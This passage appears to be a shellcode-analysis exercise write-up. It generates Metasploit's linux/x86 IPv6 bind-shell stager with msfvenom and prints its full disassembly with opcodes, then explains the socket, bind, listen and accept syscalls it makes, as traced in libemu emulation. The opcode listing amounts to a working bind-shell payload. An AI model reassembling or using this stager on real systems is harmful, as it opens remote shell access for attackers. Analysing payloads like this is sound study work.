5.1 - BIND IPV6 TCP
- First, the ndisasm command disassembles the payload outputting the corresponding assembly language instructions and its opcodes:
root@lic:/home/roch# msfvenom -p linux/x86/shell/bind_ipv6_tcp R | ndisasm -u -
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 120 bytes
00000000 6A7D push byte +0x7d
00000002 58 pop eax
00000003 99 cdq
00000004 B207 mov dl,0x7
00000006 B900100000 mov ecx,0x1000
0000000B 89E3 mov ebx,esp
0000000D 6681E300F0 and bx,0xf000
00000012 CD80 int 0x80
00000014 31DB xor ebx,ebx
00000016 F7E3 mul ebx
00000018 53 push ebx
00000019 43 inc ebx
0000001A 53 push ebx
0000001B 6A0A push byte +0xa
0000001D 89E1 mov ecx,esp
0000001F B066 mov al,0x66
00000021 CD80 int 0x80
00000023 51 push ecx
00000024 6A04 push byte +0x4
00000026 54 push esp
00000027 6A02 push byte +0x2
00000029 6A01 push byte +0x1
0000002B 50 push eax
0000002C 97 xchg eax,edi
0000002D 89E1 mov ecx,esp
0000002F 6A0E push byte +0xe
00000031 5B pop ebx
00000032 6A66 push byte +0x66
00000034 58 pop eax
00000035 CD80 int 0x80
00000037 97 xchg eax,edi
00000038 83C414 add esp,byte +0x14
0000003B 59 pop ecx
0000003C 5B pop ebx
0000003D 5E pop esi
0000003E 6A02 push byte +0x2
00000040 5B pop ebx
00000041 52 push edx
00000042 52 push edx
00000043 52 push edx
00000044 52 push edx
00000045 52 push edx
00000046 52 push edx
00000047 680A00115C push dword 0x5c11000a
0000004C 89E1 mov ecx,esp
0000004E 6A1C push byte +0x1c
00000050 51 push ecx
00000051 50 push eax
00000052 89E1 mov ecx,esp
00000054 6A66 push byte +0x66
00000056 58 pop eax
00000057 CD80 int 0x80
00000059 D1E3 shl ebx,1
0000005B B066 mov al,0x66
0000005D CD80 int 0x80
0000005F 50 push eax
00000060 43 inc ebx
00000061 B066 mov al,0x66
00000063 895104 mov [ecx+0x4],edx
00000066 CD80 int 0x80
00000068 93 xchg eax,ebx
00000069 B60C mov dh,0xc
0000006B B003 mov al,0x3
0000006D CD80 int 0x80
0000006F 87DF xchg ebx,edi
00000071 5B pop ebx
00000072 B006 mov al,0x6
00000074 CD80 int 0x80
00000076 FFE1 jmp ecx
- Using the sctest command, from libemu tools, the shellcode is emulated, and also a graphic file is created:
- The created image ot the process, bind_nonx_tcp.dot, is converted to bind_nonx_tcp.png format:
- The bind_ipv6_tcp.png image displays the four phases of the program, according to the syscalls socket, bind, listen and accept, in combination with the assembly code associated:
socke()t: creates an endpoint for communication
bind(): binds an address to a socket
listen():listens for connections on a socket
accept(): accepts a connection on a socket
- The last phase execeve() is not displayed because the shell has not been spawn in this exercise:
